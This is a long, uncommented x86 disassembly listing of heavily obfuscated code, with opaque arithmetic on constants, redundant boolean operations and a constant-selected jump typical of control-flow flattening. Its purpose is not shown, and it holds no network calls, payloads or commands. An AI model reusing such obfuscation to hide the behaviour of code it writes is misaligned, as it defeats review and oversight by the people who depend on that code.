and bh, 1
mov ch, 1
xor ch, 1
and bl, ch
mov dl, 1
xor dl, 1
and dl, 0xff
and ch, 1
or bh, bl
or dl, ch
xor bh, dl
mov dl, al
and dl, 0
xor al, 0
or dl, al
xor bh, 0xff
xor dl, 0xff
mov al, 1
xor al, 0
or bh, dl
or al, 0
xor bh, 0xff
and bh, al
mov al, cl
xor al, 0xff
mov byte [ebp - 0x1bc8c], al
mov ch, bh
xor ch, 0xff
mov dl, 1
xor dl, 0
and al, 0
and cl, dl
mov bl, ch
and bl, 0
and bh, dl
or al, cl
mov cl, byte [ebp - 0x1bc8c]
or bl, bh
xor al, bl
or cl, ch
xor cl, 0xff
or dl, 0
and cl, dl
or al, cl
mov cl, ah
xor cl, 0xff
and cl, 0
mov ch, 1
xor ch, 0
mov bl, ah
and bl, ch
mov dl, 1
xor dl, 1
and dl, 0
and ch, 1
or cl, bl
or dl, ch
xor cl, dl
xor cl, 0xff
xor cl, 1
and cl, 0xff
mov dl, 1
xor dl, 1
and dl, 1
mov bl, 1
xor bl, 1
mov bh, bl
and bh, 1
mov ch, 1
xor ch, 1
and ch, 0xff
and bl, 1
or dl, bh
or ch, bl
xor dl, ch
mov ch, dl
xor ch, 0xff
mov bh, ah
xor bh, ch
and bh, ah
mov byte [ebp - 0x1bc8b], bh
mov ch, al
xor ch, 0xff
and ch, 1
mov bl, 1
xor bl, 1
mov ah, al
and ah, bl
or ch, ah
mov bl, 1
xor bl, 1
mov ah, ch
xor ah, bl
and ah, ch
xor dl, 0xff
mov ch, al
xor ch, dl
and ch, al
mov dl, cl
xor dl, 0xff
xor bh, 0xff
mov bl, 1
xor bl, 1
mov al, dl
and al, 0xff
mov byte [ebp - 0x1bc8a], al
and cl, bl
mov al, bh
and al, 0xff
mov byte [ebp - 0x1bc88], al
mov al, byte [ebp - 0x1bc8b]
and al, bl
mov byte [ebp - 0x1bc89], al
mov al, byte [ebp - 0x1bc8a]
or al, cl
mov cl, byte [ebp - 0x1bc89]
mov byte [ebp - 0x1bc87], al
mov al, byte [ebp - 0x1bc88]
or al, cl
mov cl, byte [ebp - 0x1bc87]
xor cl, al
mov al, byte [ebp - 0x1bc86]
or dl, bh
xor dl, 0xff
or bl, 1
and dl, bl
or cl, dl
mov dl, ah
and dl, ch
xor ah, ch
or dl, ah
mov ah, cl
xor ah, 0xff
mov ch, dl
and ch, ah
xor dl, 0xff
and cl, dl
or ch, cl
mov bh, al
xor bh, 0xff
and bh, 1
mov dl, 1
xor dl, 1
mov cl, al
and cl, dl
or bh, cl
mov cl, dh
xor cl, 0xff
and cl, 1
mov ah, 1
xor ah, 1
mov dl, dh
and dl, ah
or cl, dl
mov byte [ebp - 0x1bc7f], cl
mov bl, 1
xor bl, 0
and bl, 1
mov dl, 1
xor dl, 1
mov ah, dl
and ah, 0
mov cl, 1
xor cl, 1
and cl, 0xff
and dl, 1
or bl, ah
or cl, dl
xor bl, cl
mov byte [ebp - 0x1bc7c], bl
mov cl, bh
xor cl, 0xff
mov ah, 1
xor ah, 0
mov dl, 1
xor dl, 1
or cl, ah
or dl, 1
xor cl, 0xff
and cl, dl
xor al, 0xff
mov dl, bl
xor dl, 0xff
mov ah, 1
xor ah, 1
or al, dl
mov dl, byte [ebp - 0x1bc7f]
or ah, 1
xor al, 0xff
and al, ah
mov byte [ebp - 0x1bc85], al
mov al, 1
xor al, 0
mov ah, dl
xor ah, al
mov al, byte [ebp - 0x1bc85]
and ah, dl
xor dh, 0xff
xor bl, 0xff
mov dl, 1
xor dl, 1
or dh, bl
or dl, 1
xor dh, 0xff
and dh, dl
mov dl, cl
xor dl, 0xff
xor al, 0xff
mov byte [ebp - 0x1bc80], al
mov bl, 1
xor bl, 1
mov al, dl
and al, 0xff
mov byte [ebp - 0x1bc84], al
mov al, byte [ebp - 0x1bc80]
and cl, bl
and al, 0xff
mov byte [ebp - 0x1bc82], al
mov al, byte [ebp - 0x1bc85]
and al, bl
mov byte [ebp - 0x1bc83], al
mov al, byte [ebp - 0x1bc84]
or al, cl
mov cl, byte [ebp - 0x1bc83]
mov byte [ebp - 0x1bc81], al
mov al, byte [ebp - 0x1bc82]
or al, cl
mov cl, byte [ebp - 0x1bc81]
xor cl, al
mov al, byte [ebp - 0x1bc80]
or dl, al
mov al, byte [ebp - 0x1bc7f]
xor dl, 0xff
or bl, 1
and dl, bl
or cl, dl
mov dl, ah
and dl, dh
xor ah, dh
or dl, ah
mov ah, cl
xor ah, 0xff
mov bl, dl
and bl, ah
xor dl, 0xff
and cl, dl
or bl, cl
mov dl, bh
xor dl, 0xff
mov dh, al
xor dh, 0xff
mov ah, 1
xor ah, 1
mov cl, dl
and cl, 0xff
and bh, ah
mov byte [ebp - 0x1bc7e], bh
mov bh, dh
and bh, 0xff
and al, ah
mov byte [ebp - 0x1bc7d], al
mov al, byte [ebp - 0x1bc7e]
or cl, al
mov al, byte [ebp - 0x1bc7d]
or bh, al
mov al, byte [ebp - 0x1bc7c]
xor cl, bh
or dl, dh
xor dl, 0xff
or ah, 1
and dl, ah
or cl, dl
mov dh, cl
xor dh, 0xff
and dh, 1
mov dl, 1
xor dl, 1
and cl, dl
or dh, cl
mov cl, al
and cl, 0
xor al, 0
or cl, al
xor dh, 0xff
xor cl, 0xff
mov al, 1
xor al, 0
or dh, cl
or al, 0
xor dh, 0xff
and dh, al
mov al, bl
xor al, 0xff
mov dl, dh
xor dl, 0xff
mov cl, 1
xor cl, 1
mov bh, al
and bh, 0xff
and bl, cl
mov ah, dl
and ah, 0xff
and dh, cl
or bh, bl
or ah, dh
xor bh, ah
or al, dl
xor al, 0xff
or cl, 1
and al, cl
or bh, al
mov cl, bh
xor cl, 0xff
and cl, 1
mov dl, 1
xor dl, 1
mov ah, bh
and ah, dl
mov al, 1
xor al, 1
and al, 0xff
and dl, 1
or cl, ah
or al, dl
xor cl, al
xor cl, 0xff
xor cl, 0
and cl, 0
mov dl, 1
xor dl, 0
and dl, 1
mov al, 1
xor al, 1
and al, 0
or dl, al
xor bh, 0xff
mov ah, dl
xor ah, 0xff
mov al, 1
xor al, 0
or bh, ah
or al, 0
xor bh, 0xff
and bh, al
mov byte [ebp - 0x1bc7b], bh
mov al, 1
xor al, 1
and al, 1
mov ah, 1
xor ah, 1
and ah, 1
or al, ah
mov dh, 1
xor dh, 0
mov ah, al
xor ah, dh
and ah, al
mov dh, 1
xor dh, 1
xor dl, 0xff
mov al, 1
xor al, 1
or dh, dl
or al, 1
xor dh, 0xff
and dh, al
mov dl, cl
xor dl, 0xff
xor bh, 0xff
mov bl, 1
xor bl, 0
mov al, dl
and al, 0
mov byte [ebp - 0x1bc7a], al
and cl, bl
mov al, bh
and al, 0
mov byte [ebp - 0x1bc79], al
mov al, byte [ebp - 0x1bc7b]
and al, bl
mov byte [ebp - 0x1bc78], al
mov al, byte [ebp - 0x1bc7a]
or al, cl
mov cl, byte [ebp - 0x1bc79]
mov byte [ebp - 0x1bc77], al
mov al, byte [ebp - 0x1bc78]
or cl, al
mov al, byte [ebp - 0x1bc77]
xor al, cl
mov cl, byte [ebp - 0x1bc76]
or dl, bh
xor dl, 0xff
or bl, 0
and dl, bl
or al, dl
mov dl, ah
and dl, dh
xor ah, dh
or dl, ah
mov ah, al
xor ah, 0xff
mov dh, dl
and dh, ah
xor dl, 0xff
and al, dl
or dh, al
mov al, 1
xor al, 1
and al, 1
mov ah, 1
xor ah, 1
mov bl, ah
and bl, 1
mov dl, 1
xor dl, 1
and dl, 0xff
and ah, 1
or al, bl
or dl, ah
xor al, dl
mov byte [ebp - 0x1bc6d], al
mov ah, cl
xor ah, 0xff
and ah, 1
mov dl, 1
xor dl, 1
and cl, dl
or ah, cl
mov byte [ebp - 0x1bc6f], ah
mov bl, 1
xor bl, 0
and bl, 0
mov dl, 1
xor dl, 0
mov bh, dl
and bh, 0
mov cl, 1
xor cl, 1
and cl, 0
and dl, 1
or bl, bh
or cl, dl
xor bl, cl
mov byte [ebp - 0x1bc6a], bl
xor al, 0xff
mov dl, 1
xor dl, 0
mov cl, 1
xor cl, 1
or al, dl
or cl, 1
xor al, 0xff
and al, cl
mov cl, bl
xor cl, 0xff
xor cl, 1
and cl, 0xff
xor ah, 0xff
mov dl, 1
xor dl, 0
mov bh, 1
xor bh, 0
or ah, dl
mov dl, byte [ebp - 0x1bc76]
or bh, 0
xor ah, 0xff
and ah, bh
mov byte [ebp - 0x1bc72], ah
xor dl, 0xff
xor bl, 0xff
mov ah, 1
xor ah, 0
or dl, bl
or ah, 0
xor dl, 0xff
and dl, ah
mov byte [ebp - 0x1bc73], dl
mov dl, al
xor dl, 0xff
mov bh, cl
xor bh, 0xff
mov bl, 1
xor bl, 0
mov ah, dl
and ah, 0
and al, bl
mov byte [ebp - 0x1bc75], al
mov al, bh
and al, 0
mov byte [ebp - 0x1bc74], al
mov al, byte [ebp - 0x1bc75]
and cl, bl
or ah, al
mov al, byte [ebp - 0x1bc74]
or al, cl
mov cl, byte [ebp - 0x1bc73]
xor ah, al
mov al, byte [ebp - 0x1bc72]
or dl, bh
xor dl, 0xff
or bl, 0
and dl, bl
or ah, dl
mov dl, al
xor dl, 0xff
mov bl, cl
xor bl, 0xff
mov byte [ebp - 0x1bc6e], bl
mov bh, 1
xor bh, 1
mov bl, dl
and bl, 0xff
and al, bh
mov byte [ebp - 0x1bc71], al
mov al, byte [ebp - 0x1bc6e]
and al, 0xff
mov byte [ebp - 0x1bc70], al
mov al, byte [ebp - 0x1bc71]
and cl, bh
or bl, al
mov al, byte [ebp - 0x1bc70]
or al, cl
mov cl, byte [ebp - 0x1bc6f]
xor bl, al
mov al, byte [ebp - 0x1bc6e]
or dl, al
mov al, byte [ebp - 0x1bc6d]
xor dl, 0xff
or bh, 1
and dl, bh
or bl, dl
mov bh, ah
xor bh, 0xff
mov dl, bl
and dl, bh
xor bl, 0xff
and ah, bl
or dl, ah
mov byte [ebp - 0x1bc69], dl
mov dl, al
xor dl, 0xff
mov bh, cl
xor bh, 0xff
mov ah, 1
xor ah, 1
mov bl, dl
and bl, 0xff
and al, ah
mov byte [ebp - 0x1bc6c], al
mov al, bh
and al, 0xff
mov byte [ebp - 0x1bc6b], al
mov al, byte [ebp - 0x1bc6c]
and cl, ah
or bl, al
mov al, byte [ebp - 0x1bc6b]
or al, cl
mov cl, byte [ebp - 0x1bc6a]
xor bl, al
mov al, byte [ebp - 0x1bc69]
or dl, bh
xor dl, 0xff
or ah, 1
and dl, ah
or bl, dl
mov bh, bl
xor bh, 0xff
and bh, 1
mov ah, 1
xor ah, 1
and bl, ah
mov dl, 1
xor dl, 1
and dl, 0xff
and ah, 1
or bh, bl
or dl, ah
xor bh, dl
mov dl, cl
and dl, 0
xor cl, 0
or dl, cl
xor bh, 0xff
xor dl, 0xff
mov cl, 1
xor cl, 1
or bh, dl
or cl, 1
xor bh, 0xff
and bh, cl
mov ah, al
xor ah, 0xff
mov byte [ebp - 0x1bc68], ah
mov dl, bh
xor dl, 0xff
mov cl, 1
xor cl, 0
and ah, 0
and al, cl
mov bl, dl
and bl, 0
and bh, cl
or ah, al
mov al, byte [ebp - 0x1bc68]
or bl, bh
xor ah, bl
or al, dl
xor al, 0xff
or cl, 0
and al, cl
or ah, al
mov cl, dh
xor cl, 0xff
and cl, 1
mov dl, 1
xor dl, 1
and dh, dl
mov al, 1
xor al, 1
and al, 0xff
and dl, 1
or cl, dh
or al, dl
xor cl, al
mov bh, ah
xor bh, 0xff
and bh, 0
mov dl, 1
xor dl, 0
and ah, dl
mov al, 1
xor al, 1
and al, 0
and dl, 1
or bh, ah
or al, dl
xor bh, al
mov dl, 1
xor dl, 0
and dl, 0
mov ah, 1
xor ah, 0
mov dh, ah
and dh, 0
mov al, 1
xor al, 1
and al, 0
and ah, 1
or dl, dh
or al, ah
xor dl, al
mov al, cl
xor al, 0xff
mov byte [ebp - 0x1bc67], al
mov dh, bh
xor dh, 0xff
mov ah, 1
xor ah, 1
and al, 0xff
and cl, ah
mov bl, dh
and bl, 0xff
and bh, ah
or al, cl
mov cl, byte [ebp - 0x1bc67]
or bl, bh
xor al, bl
or cl, dh
xor cl, 0xff
or ah, 1
and cl, ah
or al, cl
mov cl, dl
and cl, 0
xor dl, 0
or cl, dl
mov dh, al
xor dh, 0xff
and dh, 1
mov dl, 1
xor dl, 1
and al, dl
or dh, al
xor dh, 0xff
xor cl, 0xff
mov al, 1
xor al, 0
or dh, cl
or al, 0
xor dh, 0xff
and dh, al
mov al, ch
xor al, 0xff
and al, 1
mov dl, 1
xor dl, 1
mov cl, ch
and cl, dl
or al, cl
mov byte [ebp - 0x1bc64], al
mov ah, dh
xor ah, 0xff
and ah, 1
mov dl, 1
xor dl, 1
mov bl, dh
and bl, dl
mov cl, 1
xor cl, 1
and cl, 0xff
and dl, 1
or ah, bl
or cl, dl
xor ah, cl
mov dl, 1
xor dl, 1
and dl, 1
mov cl, 1
xor cl, 1
and cl, 1
or dl, cl
xor al, 0xff
mov bl, 1
xor bl, 1
mov cl, 1
xor cl, 0
or al, bl
or cl, 0
xor al, 0xff
and al, cl
mov bl, dl
xor bl, 0xff
mov cl, ch
xor cl, bl
and cl, ch
mov ch, ah
xor ch, 0xff
mov bh, 1
xor bh, 1
mov bl, 1
xor bl, 1
or ch, bh
or bl, 1
xor ch, 0xff
and ch, bl
mov byte [ebp - 0x1bc62], ch
mov bl, dl
xor bl, 0xff
mov ch, dh
xor ch, bl
and ch, dh
mov dh, al
xor dh, 0xff
mov bl, cl
xor bl, 0xff
mov byte [ebp - 0x1bc63], bl
mov bh, 1
xor bh, 0
mov bl, dh
and bl, 0
and al, bh
mov byte [ebp - 0x1bc66], al
mov al, byte [ebp - 0x1bc63]
and al, 0
mov byte [ebp - 0x1bc65], al
mov al, byte [ebp - 0x1bc66]
and cl, bh
or bl, al
mov al, byte [ebp - 0x1bc65]
or al, cl
mov cl, byte [ebp - 0x1bc64]
xor bl, al
mov al, byte [ebp - 0x1bc63]
or dh, al
mov al, byte [ebp - 0x1bc62]
xor dh, 0xff
or bh, 0
and dh, bh
or bl, dh
mov dh, al
and dh, ch
xor al, ch
or dh, al
mov al, bl
xor al, 0xff
and al, 1
mov bh, 1
xor bh, 1
and bl, bh
mov ch, dh
xor ch, 0xff
and ch, 0xff
and dh, bh
or al, bl
or ch, dh
xor al, ch
mov dh, cl
and dh, ah
xor cl, ah
or dh, cl
mov cl, dh
xor cl, 0xff
and cl, 0
mov ch, 1
xor ch, 0
and dh, ch
mov ah, 1
xor ah, 1
and ah, 0
and ch, 1
or cl, dh
or ah, ch
xor cl, ah
mov ah, dl
and ah, 1
xor dl, 1
or ah, dl
xor cl, 0xff
xor ah, 0xff
mov dl, 1
xor dl, 0
or cl, ah
or dl, 0
xor cl, 0xff
and cl, dl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xc22bf7d6
mov ecx, 0x47a6eb4f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1b7b0], eax
jmp 0x4b3015
mov eax, dword [ebp - 0x1b6a0]
mov eax, dword [eax + 0x80]
mov edx, dword [ebp - 0x1b6a4]
xor ecx, ecx
sub ecx, 0x51dbe251
add ecx, 0x5060b9cc
add ecx, 0x51dbe251
sub ecx, 0xbb0c7ad4
sub ecx, edx
add ecx, 0xbb0c7ad4
sub ecx, 0xcfe30fad
sub ecx, 0x5060b9cc
add ecx, 0xcfe30fad
xor edx, edx
sub edx, 0xa4a70973
add edx, 0
add edx, 0x71e4d549
sub edx, eax
sub edx, 0x71e4d549
sub edx, 0x61d125a1
add edx, 0xa4a70973
add edx, 0x61d125a1
xor eax, eax
sub eax, ecx
add eax, 0
xor ecx, ecx
sub ecx, 0xede5018b
sub ecx, edx
add ecx, 0xede5018b
add eax, 0x7974a1e9
add eax, ecx
sub eax, 0x7974a1e9
xor ecx, ecx
sub ecx, eax
add ecx, 0
xor eax, eax
sub eax, 0x9281c4e0
sub eax, ecx
add eax, 0x9281c4e0
xor ecx, ecx
sub ecx, 0x69d2d347
add ecx, eax
add ecx, 0x69d2d347
mov eax, dword [ebp - 0x1b768]
mov dword [eax], ecx
mov eax, dword [ebp - 0x1b764]
mov dword [eax], 0
mov ecx, dword [0x62b5d4]
mov eax, dword [0x62b5d0]
xor edx, edx
sub edx, 0x730a5060
sub edx, 1
add edx, 0x730a5060
xor edi, edi
sub edi, 0x2b6d021b
add edi, edx
add edi, 0x2b6d021b
mov edx, ecx
sub edx, 0x6f884498
sub edx, 0xf13704f0
add edx, 0x6f884498
xor esi, esi
sub esi, edx
xor edx, edx
sub edx, edi
add esi, edx
xor edx, edx
sub edx, esi
xor esi, esi
sub esi, 0xf13704f0
sub edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete dh
mov byte [ebp - 0x1bcfd], dh
cmp eax, 0xa
setl dl
mov byte [ebp - 0x1bcf5], dl
mov ah, dh
xor ah, 0xff
and ah, 0
mov cl, 1
xor cl, 0
mov ch, dh
and ch, cl
mov al, 1
xor al, 1
and al, 0
and cl, 1
or ah, ch
or al, cl
xor ah, al
mov cl, 1
xor cl, 0
xor ah, 0xff
mov al, 1
xor al, 0
or cl, ah
or al, 0
xor cl, 0xff
and cl, al
mov bl, 1
xor bl, 0
and bl, 0
mov ah, 1
xor ah, 0
mov ch, ah
and ch, 0
mov al, 1
xor al, 1
and al, 0
and ah, 1
or bl, ch
or al, ah
xor bl, al
xor dh, 0xff
mov ah, bl
xor ah, 0xff
mov al, 1
xor al, 0
or dh, ah
or al, 0
xor dh, 0xff
and dh, al
mov al, 1
xor al, 1
and al, 1
mov ch, 1
xor ch, 1
mov bh, ch
and bh, 1
mov ah, 1
xor ah, 1
and ah, 0xff
and ch, 1
or al, bh
or ah, ch
xor al, ah
mov ch, 1
xor ch, 0
mov ah, al
xor ah, ch
and ah, al
mov ch, 1
xor ch, 1
xor bl, 0xff
mov al, 1
xor al, 1
or ch, bl
or al, 1
xor ch, 0xff
and ch, al
mov al, cl
and al, dh
xor cl, dh
or al, cl
mov cl, ah
and cl, ch
xor ah, ch
or cl, ah
mov ch, al
xor ch, 0xff
mov ah, cl
and ah, ch
xor cl, 0xff
and al, cl
or ah, al
mov byte [ebp - 0x1bccf], ah
mov ch, dl
xor ch, 0xff
and ch, 1
mov cl, 1
xor cl, 1
mov dh, dl
and dh, cl
mov al, 1
xor al, 1
and al, 0xff
and cl, 1
or ch, dh
or al, cl
xor ch, al
mov al, 1
xor al, 1
xor ch, 0xff
mov cl, 1
xor cl, 1
or al, ch
or cl, 1
xor al, 0xff
and al, cl
mov ch, 1
xor ch, 1
and ch, 1
mov cl, 1
xor cl, 1
and cl, 1
or ch, cl
xor ch, 0xff
mov cl, dl
xor cl, ch
and cl, dl
mov ch, al
and ch, cl
xor al, cl
or ch, al
mov cl, 1
xor cl, 0
and cl, 0
mov dl, 1
xor dl, 0
mov dh, dl
and dh, 0
mov al, 1
xor al, 1
and al, 0
and dl, 1
or cl, dh
or al, dl
xor cl, al
xor cl, 0xff
xor cl, 1
and cl, 0xff
mov dh, 1
xor dh, 1
and dh, 1
mov al, 1
xor al, 1
and al, 1
or dh, al
mov dl, 1
xor dl, 0
xor dh, 0xff
mov al, 1
xor al, 1
or dl, dh
or al, 1
xor dl, 0xff
and dl, al
mov al, cl
and al, dl
xor cl, dl
or al, cl
mov byte [ebp - 0x1bccd], al
mov cl, ah
xor cl, 0xff
and cl, 1
mov dl, 1
xor dl, 1
and ah, dl
mov al, 1
xor al, 1
and al, 0xff
and dl, 1
or cl, ah
or al, dl
xor cl, al
mov al, 1
xor al, 0
and al, 1
mov dl, 1
xor dl, 1
and dl, 0
or al, dl
mov dl, 1
xor dl, 0
and dl, 1
mov ah, 1
xor ah, 1
and ah, 0
or dl, ah
mov ah, cl
xor ah, 0xff
mov bh, al
xor bh, 0xff
mov bl, 1
xor bl, 0
mov dh, ah
and dh, 0
mov byte [ebp - 0x1bcfe], dh
and cl, bl
mov dh, bh
and dh, 0
and al, bl
mov byte [ebp - 0x1bcfc], al
mov al, byte [ebp - 0x1bcfe]
or al, cl
mov cl, byte [ebp - 0x1bcfd]
mov byte [ebp - 0x1bcfb], al
mov al, byte [ebp - 0x1bcfc]
or dh, al
mov al, byte [ebp - 0x1bcfb]
xor al, dh
mov dh, byte [ebp - 0x1bccd]
or ah, bh
xor ah, 0xff
or bl, 0
and ah, bl
or al, ah
mov ah, dl
and ah, 0
xor dl, 0
or ah, dl
mov dl, al
xor dl, 0xff
and dl, 1
mov bl, 1
xor bl, 1
and al, bl
or dl, al
xor ah, 0xff
mov al, dl
xor al, ah
and al, dl
mov byte [ebp - 0x1bcf3], al
mov dl, dh
xor dl, 0xff
and dl, 0
mov ah, 1
xor ah, 0
and dh, ah
mov al, 1
xor al, 1
and al, 0
and ah, 1
or dl, dh
or al, ah
xor dl, al
mov al, cl
xor al, 0xff
mov bh, dl
and bh, al
xor dl, 0xff
mov al, cl
and al, dl
or bh, al
xor bh, 0xff
xor cl, 0xff
mov al, 1
xor al, 0
or bh, cl
or al, 0
xor bh, 0xff
and bh, al
mov bl, ch
xor bl, 0xff
and bl, 1
mov cl, 1
xor cl, 1
mov al, ch
and al, cl
or bl, al
mov al, 1
xor al, 0
and al, 0
mov dl, 1
xor dl, 0
mov ah, dl
and ah, 0
mov cl, 1
xor cl, 1
and cl, 0
and dl, 1
or al, ah
or cl, dl
xor al, cl
mov cl, 1
xor cl, 1
and cl, 1
mov ah, 1
xor ah, 1
mov dh, ah
and dh, 1
mov dl, 1
xor dl, 1
and dl, 0xff
and ah, 1
or cl, dh
or dl, ah
xor cl, dl
mov dh, bl
xor dh, 0xff
mov byte [ebp - 0x1bcf8], dh
mov ah, al
xor ah, 0xff
mov dl, 1
xor dl, 1
and dh, 0xff
and bl, dl
mov byte [ebp - 0x1bcfa], bl
mov bl, ah
and bl, 0xff
and al, dl
mov byte [ebp - 0x1bcf9], al
mov al, byte [ebp - 0x1bcfa]
or dh, al
mov al, byte [ebp - 0x1bcf9]
or bl, al
mov al, byte [ebp - 0x1bcf8]
xor dh, bl
or al, ah
xor al, 0xff
or dl, 1
and al, dl
or dh, al
mov bl, 1
xor bl, 1
mov byte [ebp - 0x1bcf4], bl
mov ah, cl
xor ah, 0xff
mov dl, 1
xor dl, 1
and bl, 0xff
mov al, dl
and al, 1
mov byte [ebp - 0x1bcf7], al
mov al, ah
and al, 0xff
mov byte [ebp - 0x1bcf6], al
mov al, byte [ebp - 0x1bcf7]
and cl, dl
or bl, al
mov al, byte [ebp - 0x1bcf6]
or al, cl
mov cl, byte [ebp - 0x1bcf5]
xor bl, al
mov al, byte [ebp - 0x1bcf4]
or al, ah
xor al, 0xff
or dl, 1
and al, dl
or bl, al
mov dl, dh
xor dl, 0xff
and dl, 1
mov al, 1
xor al, 1
and dh, al
mov ah, 1
xor ah, 1
and ah, 0xff
and al, 1
or dl, dh
mov dh, byte [ebp - 0x1bcf3]
or ah, al
mov al, byte [ebp - 0x1bccd]
xor dl, ah
xor dl, 0xff
xor bl, 0xff
mov ah, 1
xor ah, 0
or dl, bl
or ah, 0
xor dl, 0xff
and dl, ah
mov bl, al
xor bl, 0xff
and bl, 1
mov ah, 1
xor ah, 1
and al, ah
or bl, al
mov ah, cl
xor ah, 0xff
mov al, bl
and al, ah
xor bl, 0xff
mov ah, cl
and ah, bl
or al, ah
xor cl, 0xff
mov bl, al
xor bl, cl
and bl, al
mov al, dh
xor al, 0xff
and al, 1
mov ah, 1
xor ah, 1
and dh, ah
mov cl, 1
xor cl, 1
and cl, 0xff
and ah, 1
or al, dh
or cl, ah
xor al, cl
mov byte [ebp - 0x1bcea], al
mov al, bh
xor al, 0xff
and al, 1
mov ah, 1
xor ah, 1
mov dh, bh
and dh, ah
mov cl, 1
xor cl, 1
and cl, 0xff
and ah, 1
or al, dh
or cl, ah
xor al, cl
mov byte [ebp - 0x1bce9], al
mov ah, 1
xor ah, 1
and ah, 1
mov dh, 1
xor dh, 1
mov al, dh
and al, 1
mov cl, 1
xor cl, 1
and cl, 0xff
and dh, 1
or ah, al
mov al, byte [ebp - 0x1bcea]
or cl, dh
xor ah, cl
xor al, 0xff
mov cl, 1
xor cl, 1
mov dh, 1
xor dh, 0
or al, cl
mov cl, byte [ebp - 0x1bcf3]
or dh, 0
xor al, 0xff
and al, dh
mov byte [ebp - 0x1bcf2], al
mov al, ah
xor al, 0xff
mov dh, cl
xor dh, al
mov al, byte [ebp - 0x1bcf2]
and dh, cl
mov cl, byte [ebp - 0x1bce9]
mov byte [ebp - 0x1bcf1], dh
mov dh, 1
xor dh, 1
xor cl, dh
mov dh, byte [ebp - 0x1bce9]
and cl, dh
mov byte [ebp - 0x1bceb], cl
mov cl, ah
xor cl, 0xff
mov dh, bh
xor dh, cl
mov cl, byte [ebp - 0x1bcf1]
and dh, bh
mov byte [ebp - 0x1bcee], dh
mov bh, al
xor bh, 0xff
xor cl, 0xff
mov byte [ebp - 0x1bced], cl
mov cl, 1
xor cl, 0
mov byte [ebp - 0x1bcec], cl
mov dh, bh
and dh, 0
and al, cl
mov cl, byte [ebp - 0x1bcf1]
mov byte [ebp - 0x1bcf0], al
mov al, byte [ebp - 0x1bced]
and al, 0
mov byte [ebp - 0x1bcef], al
mov al, byte [ebp - 0x1bcec]
and cl, al
mov al, byte [ebp - 0x1bcf0]
or dh, al
mov al, byte [ebp - 0x1bcef]
or al, cl
mov cl, byte [ebp - 0x1bcee]
xor dh, al
mov al, byte [ebp - 0x1bced]
or bh, al
mov al, byte [ebp - 0x1bcec]
xor bh, 0xff
or al, 0
and bh, al
mov al, byte [ebp - 0x1bceb]
or dh, bh
mov bh, al
and bh, cl
xor al, cl
or bh, al
mov cl, dh
xor cl, 0xff
mov al, bh
and al, cl
mov cl, byte [ebp - 0x1bcea]
xor bh, 0xff
and dh, bh
mov bh, byte [ebp - 0x1bce9]
or al, dh
mov byte [ebp - 0x1bce3], al
mov al, cl
xor al, 0xff
mov byte [ebp - 0x1bce4], al
xor bh, 0xff
mov dh, 1
xor dh, 0
and al, 0
mov byte [ebp - 0x1bce8], al
and cl, dh
mov al, bh
and al, 0
mov byte [ebp - 0x1bce6], al
mov al, byte [ebp - 0x1bce9]
and al, dh
mov byte [ebp - 0x1bce7], al
mov al, byte [ebp - 0x1bce8]
or al, cl
mov cl, byte [ebp - 0x1bce7]
mov byte [ebp - 0x1bce5], al
mov al, byte [ebp - 0x1bce6]
or al, cl
mov cl, byte [ebp - 0x1bce5]
xor cl, al
mov al, byte [ebp - 0x1bce4]
or al, bh
xor al, 0xff
or dh, 0
and al, dh
or cl, al
mov al, cl
xor al, 0xff
and al, 1
mov bh, 1
xor bh, 1
and cl, bh
mov dh, 1
xor dh, 1
and dh, 0xff
and bh, 1
or al, cl
mov cl, byte [ebp - 0x1bce3]
or dh, bh
xor al, dh
mov dh, ah
and dh, 1
xor ah, 1
or dh, ah
xor al, 0xff
xor dh, 0xff
mov ah, 1
xor ah, 0
or al, dh
or ah, 0
xor al, 0xff
and al, ah
mov bh, cl
xor bh, 0xff
mov byte [ebp - 0x1bce1], bh
mov dh, al
xor dh, 0xff
mov ah, 1
xor ah, 1
and bh, 0xff
mov byte [ebp - 0x1bce2], bh
and cl, ah
mov bh, dh
and bh, 0xff
and al, ah
mov byte [ebp - 0x1bce0], al
mov al, byte [ebp - 0x1bce2]
or al, cl
mov cl, byte [ebp - 0x1bce1]
mov byte [ebp - 0x1bcdf], al
mov al, byte [ebp - 0x1bce0]
or bh, al
mov al, byte [ebp - 0x1bcdf]
xor al, bh
or cl, dh
xor cl, 0xff
or ah, 1
and cl, ah
or al, cl
mov byte [ebp - 0x1bcd3], al
mov al, dl
xor al, 0xff
and al, 1
mov ah, 1
xor ah, 1
mov cl, dl
and cl, ah
or al, cl
mov byte [ebp - 0x1bcd8], al
mov bh, bl
xor bh, 0xff
and bh, 0
mov cl, 1
xor cl, 0
mov ah, bl
and ah, cl
mov al, 1
xor al, 1
and al, 0
and cl, 1
or bh, ah
or al, cl
xor bh, al
mov dh, 1
xor dh, 1
and dh, 0
mov ah, 1
xor ah, 0
mov al, ah
and al, 1
mov cl, 1
xor cl, 1
and cl, 0
and ah, 1
or dh, al
mov al, byte [ebp - 0x1bcd8]
or cl, ah
xor dh, cl
mov byte [ebp - 0x1bcdb], dh
xor al, 0xff
mov ah, 1
xor ah, 1
mov cl, 1
xor cl, 1
or al, ah
or cl, 1
xor al, 0xff
and al, cl
mov ah, dh
xor ah, 0xff
mov cl, dl
xor cl, ah
and cl, dl
mov byte [ebp - 0x1bcde], cl
mov ah, 1
xor ah, 1
mov dl, bh
xor dl, ah
and dl, bh
xor bl, 0xff
xor dh, 0xff
mov ah, 1
xor ah, 0
or bl, dh
or ah, 0
xor bl, 0xff
and bl, ah
mov dh, al
xor dh, 0xff
xor cl, 0xff
mov byte [ebp - 0x1bcda], cl
mov cl, 1
xor cl, 1
mov byte [ebp - 0x1bcd9], cl
mov ah, dh
and ah, 0xff
and al, cl
mov cl, byte [ebp - 0x1bcde]
mov byte [ebp - 0x1bcdd], al
mov al, byte [ebp - 0x1bcda]
and al, 0xff
mov byte [ebp - 0x1bcdc], al
mov al, byte [ebp - 0x1bcd9]
and cl, al
mov al, byte [ebp - 0x1bcdd]
or ah, al
mov al, byte [ebp - 0x1bcdc]
or al, cl
mov cl, byte [ebp - 0x1bcdb]
xor ah, al
mov al, byte [ebp - 0x1bcda]
or dh, al
mov al, byte [ebp - 0x1bcd9]
xor dh, 0xff
or al, 1
and dh, al
mov al, byte [ebp - 0x1bcd8]
or ah, dh
mov dh, dl
and dh, bl
xor dl, bl
or dh, dl
mov bl, ah
xor bl, 0xff
mov dl, dh
and dl, bl
